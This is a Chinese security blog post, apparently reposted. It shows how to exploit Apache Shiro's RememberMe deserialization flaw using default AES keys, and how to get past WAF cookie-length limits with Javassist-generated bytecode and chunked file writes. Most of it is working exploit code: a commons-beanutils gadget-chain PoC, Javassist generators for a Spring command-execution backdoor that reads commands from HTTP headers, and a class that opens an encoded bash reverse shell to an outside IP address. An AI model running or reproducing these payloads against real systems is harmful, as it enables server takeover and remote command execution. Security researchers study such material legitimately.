Javassist动态构造和分块传输字节码绕过Shiro Cookie长度限制分析

admin 2025年2月27日09:41:06评论19 views字数 14711阅读49分2秒阅读模式

免责声明:由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

文章作者:先知社区(1315609050541697)

文章来源:https://xz.aliyun.com/news/16970

Payload缩短背景

WAF会对rememberMe长度进行限制,甚至解密payload检查反序列化class,可以通过序列化数据本身缩小、针对TemplatesImpl中的_bytecodes字节码缩小、对于执行的代码如何缩小(STATIC代码块)等方面进行缩短,本文重点利用Javassist动态构造和分块传输字节码绕过Shiro Cookie长度限制

Attack 分析利用

shiro在实战中经常是一个登录页面

Javassist动态构造和分块传输字节码绕过Shiro Cookie长度限制分析

检测指纹:抓包看到rememberme字段猜测为shiro框架

Javassist动态构造和分块传输字节码绕过Shiro Cookie长度限制分析

Shiro漏洞简言

Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码–>AES解密–>反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

加解密流程如下:

  • 客户端:命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
  • 服务端:RememberMe Cookie值=>base64解密=>AES解密=>反序列化

对于没有WAF的低版本Shiro:

针对shiro的特征,首先尝试使用shiro反序列化利用工具爆破shiro 的AES加密使用的key

Javassist动态构造和分块传输字节码绕过Shiro Cookie长度限制分析

拿到keykPH+bIxk5D2deZiIxcaaaA==后发现是shiro 1.2.4默认的key,爆破所有利用链发现,没有可利用的链

Javassist动态构造和分块传输字节码绕过Shiro Cookie长度限制分析

实战中难点在于对cookie长度进行了限制导致不能直接爆破出利用链,可测试出传入Cookie的字符串需要小于大约3500个字符

shiro无依赖利用链

Shiro是依赖于commons-beanutils的,比如对于如下pom.xml,我并没有引入任何有关cb的依赖,但却可以发现通过引入shiro 1.2.4间接引入cb1.8.3:

Javassist动态构造和分块传输字节码绕过Shiro Cookie长度限制分析

值得注意的坑点

1、Shiro中自带的commons-beanutils与我们本地的版本不一致,就可能在反序列化时出现serialVersionUID对应不上的问题

2、commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于commons-collections,但反序列化利用的时候需要依赖于commons-collections

所以我们pom中CB依赖版本要和shiro给的对上:

<dependency>  <groupId>commons-beanutils</groupId>  <artifactId>commons-beanutils</artifactId>  <version>1.8.3</version>  </dependency>  <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->  <dependency>  <groupId>commons-collections</groupId>  <artifactId>commons-collections</artifactId>  <version>3.1</version>  </dependency>  <dependency>  <groupId>org.apache.shiro</groupId>  <artifactId>shiro-spring</artifactId>  <version>1.2.4</version>  </dependency>

如何缩短我们的内存马 payload 

需要解决的问题 -> 由于不出网无回显,所以还是要打内存马,而通常的内存马生产的payload长度不符合要求。

关键就是利用Javassist将写死的恶意类通过动态构造实现缩短,比如对于之前我们弹计算器的恶意类Clac.java:

恶意类是写死的,无法动态构造,想要动态构造字节码一种手段是选择ASM做,但有更好的选择:Javassist

import com.sun.org.apache.xalan.internal.xsltc.DOM;  import com.sun.org.apache.xalan.internal.xsltc.TransletException;  import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;  import com.sun.org.apache.xml.internal.serializer.SerializationHandler;  import java.io.IOException;  public class Clac extends AbstractTranslet {  public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {  }  public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {  }  static {  try {  Runtime.getRuntime().exec("calc");  } catch (IOException var1) {  var1.printStackTrace();  }  }  }

可以看到,我们不光需要实现AbstractTranslet中定义的抽象方法,还得引入大量其它包中的类,这样一来就导致我们的payload长度增加。

最后缩短长度构造如下,通过Javassist库动态生成一个类,并在类的构造函数中执行从HTTP请求头获取的命令

public static CtClass genPayloadForLinux2() throws NotFoundException, CannotCompileException {  ClassPool classPool = ClassPool.getDefault();  CtClass clazz = classPool.makeClass("A");  if ((clazz.getDeclaredConstructors()).length != 0) {  clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);  }  clazz.addConstructor(CtNewConstructor.make("public A() throws Exception {n" +  " org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();n" +  " javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();n" +  " javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();n" +  " String[] cmd = new String[]{"sh", "-c", httprequest.getHeader("C")};n" +  " byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();n" +  " httpresponse.getWriter().write(new String(result));n" +  " httpresponse.getWriter().flush();n" +  " httpresponse.getWriter().close();n" +  " }", clazz));  // 兼容低版本jdk  clazz.getClassFile().setMajorVersion(50);  CtClass superClass = classPool.get(AbstractTranslet.class.getName());  clazz.setSuperclass(superClass);  return clazz;  }

Block Transmission 分块传输

以上的内容都在围绕字节码和序列化数据的缩小,已经做到的接近极致,很难做到更小的。
对于STATIC代码块中需要执行的代码也有缩小手段,这也是更有实战意义是思考,因为实战中不是弹个计算器这么简单,因此可以用追加的方式发送多个请求往指定文件中写入字节码,将真正需要执行的字节码分块使用Javassist动态生成写入每一分块的Payload,以追加的方式将所有字节码的Base64写入某文件

static {    try {        String path = "/your/path";        // 创建文件        File file = new File(path);        file.createNewFile();        // 传入true是追加方式写文件        FileOutputStream fos = new FileOutputStream(path, true);        // 需要写入的数据        String data = "BASE64_BYTECODES_PART";        fos.write(data.getBytes());        fos.close();    } catch (Exception ignore) {    }

在最后一个包中将字节码进行Base64Decode并写入class文件(也可以直接写字节码二进制数据,不过认为Base64好分割处理一些)

static {    try {        String path = "/your/path";        FileInputStream fis = new FileInputStream(path);        // size取决于实际情况        byte[] data = new byte[size];        fis.read(data);        // 写入Evil.class        FileOutputStream fos = new FileOutputStream("Evil.class");        fos.write(Base64.getDecoder().decode(data));        fos.close();    } catch (Exception ignored) {    }}

出网利用方式

利用不依赖CC链的CB链POC如下:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  import javassist.ClassPool;  import javassist.CtClass;  import org.apache.commons.beanutils.BeanComparator;  import org.apache.shiro.codec.Base64;  import org.apache.shiro.codec.CodecSupport;  import org.apache.shiro.crypto.AesCipherService;  import org.apache.shiro.util.ByteSource;  import java.io.ByteArrayOutputStream;  import java.io.ObjectOutputStream;  import java.lang.reflect.Field;  import java.util.PriorityQueue;  //shiro无依赖利用链,使用shiro1.2.4自带的cb 1.8.3  public class Cc1 {      public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {          Field field = obj.getClass().getDeclaredField(fieldName);          field.setAccessible(true);          field.set(obj, value);      }      public static void main(String[] args) throws Exception {          TemplatesImpl templates = getTemplate();          final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);          final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);          // stub data for replacement later          queue.add("1");          queue.add("1");          setFieldValue(comparator, "property", "outputProperties");          setFieldValue(queue, "queue", new Object[]{templates, templates});          // ==================          // 生成序列化字符串          ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();          ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);          objectOutputStream.writeObject(queue);          AesCipherService aes = new AesCipherService();          byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));//shiro默认密钥          byte[] bytes = byteArrayOutputStream.toByteArray();          ByteSource ciphertext;          ciphertext = aes.encrypt(bytes, key);          System.out.println(ciphertext);      }      public static TemplatesImpl getTemplate() throws Exception {          ClassPool classPool = ClassPool.getDefault();          CtClass clz = classPool.get(Calc.class.getName());          TemplatesImpl obj = new TemplatesImpl();          setFieldValue(obj, "_bytecodes", new byte[][]{clz.toBytecode()});          setFieldValue(obj, "_name", "HelloTemplatesImpl");          setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());          return obj;      }  }

Calc恶意类源码:

import com.sun.org.apache.xalan.internal.xsltc.DOM;  import com.sun.org.apache.xalan.internal.xsltc.TransletException;  import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;  import com.sun.org.apache.xml.internal.serializer.SerializationHandler;  import java.io.IOException;  public class Calc extends AbstractTranslet {      @Override      public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {      }      @Override      public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {      }      static {          try {              Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtYyAgJ2Jhc2ggLWkgPiYgL2Rldi90Y3AvNDcuMTIwLjMzLjI1NS84OTk5IDA+JjEn}|{base64,-d}|{bash,-i}");              //Runtime.getRuntime().exec("calc");          } catch (IOException e) {              e.printStackTrace();          }      }  }

不出网利用方式

上文说到利用条件需要传入Cookie的字符串需要小于大约3500个字符,可使用下方方式。首先DynamicClassGenerator用来生成恶意class,针对不同系统使用不同的方法即可,生成利用如下:

package com.ctf;  import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  import javassist.CannotCompileException;  import javassist.ClassPool;  import javassist.CtClass;  import javassist.CtNewConstructor;  import javassist.NotFoundException;  import java.io.IOException;  public class DynamicClassGenerator {      public CtClass genPayloadForWin() throws NotFoundException, CannotCompileException, IOException {          ClassPool classPool = ClassPool.getDefault();          CtClass clazz = classPool.makeClass("Exp");          if ((clazz.getDeclaredConstructors()).length != 0) {              clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);          }        clazz.addConstructor(CtNewConstructor.make("public SpringEcho() throws Exception {n" +                  "            try {n" +                  "                org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();n" +                  "                javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();n" +                  "                javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();n" +                  "n" +                  "                String te = httprequest.getHeader("Host");n" +                  "                httpresponse.addHeader("Host", te);n" +                  "                String tc = httprequest.getHeader("CMD");n" +                  "                if (tc != null && !tc.isEmpty()) {n" +                  "                    String[] cmd = new String[]{"cmd.exe", "/c", tc};  n" +                  "                    byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();n" +                  "                    httpresponse.getWriter().write(new String(result));n" +                  "n" +                  "                }n" +                  "                httpresponse.getWriter().flush();n" +                  "                httpresponse.getWriter().close();n" +                  "            } catch (Exception e) {n" +                  "                e.getStackTrace();n" +                  "            }n" +                  "        }", clazz));          // 兼容低版本jdk          clazz.getClassFile().setMajorVersion(50);          CtClass superClass = classPool.get(AbstractTranslet.class.getName());          clazz.setSuperclass(superClass);          return clazz;      }        public CtClass genPayloadForLinux() throws NotFoundException, CannotCompileException {          ClassPool classPool = ClassPool.getDefault();          CtClass clazz = classPool.makeClass("Exp");          if ((clazz.getDeclaredConstructors()).length != 0) {              clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);          }        clazz.addConstructor(CtNewConstructor.make("public SpringEcho() throws Exception {n" +                  "            try {n" +                  "                org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();n" +                  "                javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();n" +                  "                javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();n" +                  "n" +                  "                String te = httprequest.getHeader("Host");n" +                  "                httpresponse.addHeader("Host", te);n" +                  "                String tc = httprequest.getHeader("CMD");n" +                  "                if (tc != null && !tc.isEmpty()) {n" +                  "                    String[] cmd =  new String[]{"/bin/sh", "-c", tc};n" +                  "                    byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();n" +                  "                    httpresponse.getWriter().write(new String(result));n" +                  "n" +                  "                }n" +                  "                httpresponse.getWriter().flush();n" +                  "                httpresponse.getWriter().close();n" +                  "            } catch (Exception e) {n" +                  "                e.getStackTrace();n" +                  "            }n" +                  "        }", clazz));          // 兼容低版本jdk          clazz.getClassFile().setMajorVersion(50);          CtClass superClass = classPool.get(AbstractTranslet.class.getName());          clazz.setSuperclass(superClass);          return clazz;      }}

Poc源码:

package com.ctf;  import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  import javassist.CtClass;  import org.apache.commons.beanutils.BeanComparator;  import org.apache.shiro.codec.Base64;  import org.apache.shiro.codec.CodecSupport;  import org.apache.shiro.crypto.AesCipherService;  import org.apache.shiro.util.ByteSource;  import java.io.ByteArrayOutputStream;  import java.io.ObjectOutputStream;  import java.lang.reflect.Field;  import java.util.PriorityQueue;  //shiro无依赖利用链,使用shiro1.2.4自带的cb 1.8.3  public class POJOJackson {      public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {          Field field = obj.getClass().getDeclaredField(fieldName);          field.setAccessible(true);          field.set(obj, value);      }      public static void main(String[] args) throws Exception {          TemplatesImpl templates = getTemplate();          final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);          final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);          // stub data for replacement later          queue.add("1");          queue.add("1");          setFieldValue(comparator, "property", "outputProperties");          setFieldValue(queue, "queue", new Object[]{templates, templates});          // ==================          // 生成序列化字符串          ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();          ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);          objectOutputStream.writeObject(queue);          AesCipherService aes = new AesCipherService();          byte[] key = Base64.decode(CodecSupport.toBytes("YXwk8qZKbKD43QhpRNNr9g=="));//shiro默认密钥          byte[] bytes = byteArrayOutputStream.toByteArray();          ByteSource ciphertext;          ciphertext = aes.encrypt(bytes, key);          System.out.println(ciphertext);      }    public static TemplatesImpl getTemplate() throws Exception {          DynamicClassGenerator classGenerator =new DynamicClassGenerator();          CtClass clz = classGenerator.genPayloadForLinux();          TemplatesImpl obj = new TemplatesImpl();          setFieldValue(obj, "_bytecodes", new byte[][]{clz.toBytecode()});          setFieldValue(obj, "_name", "HelloTemplatesImpl");          setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());          return obj;      }  }

成功绕过cookie长度限制执行命令

Javassist动态构造和分块传输字节码绕过Shiro Cookie长度限制分析

原文始发于微信公众号(七芒星实验室):Javassist动态构造和分块传输字节码绕过Shiro Cookie长度限制分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月27日09:41:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Javassist动态构造和分块传输字节码绕过Shiro Cookie长度限制分析https://cn-sec.com/archives/3776341.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息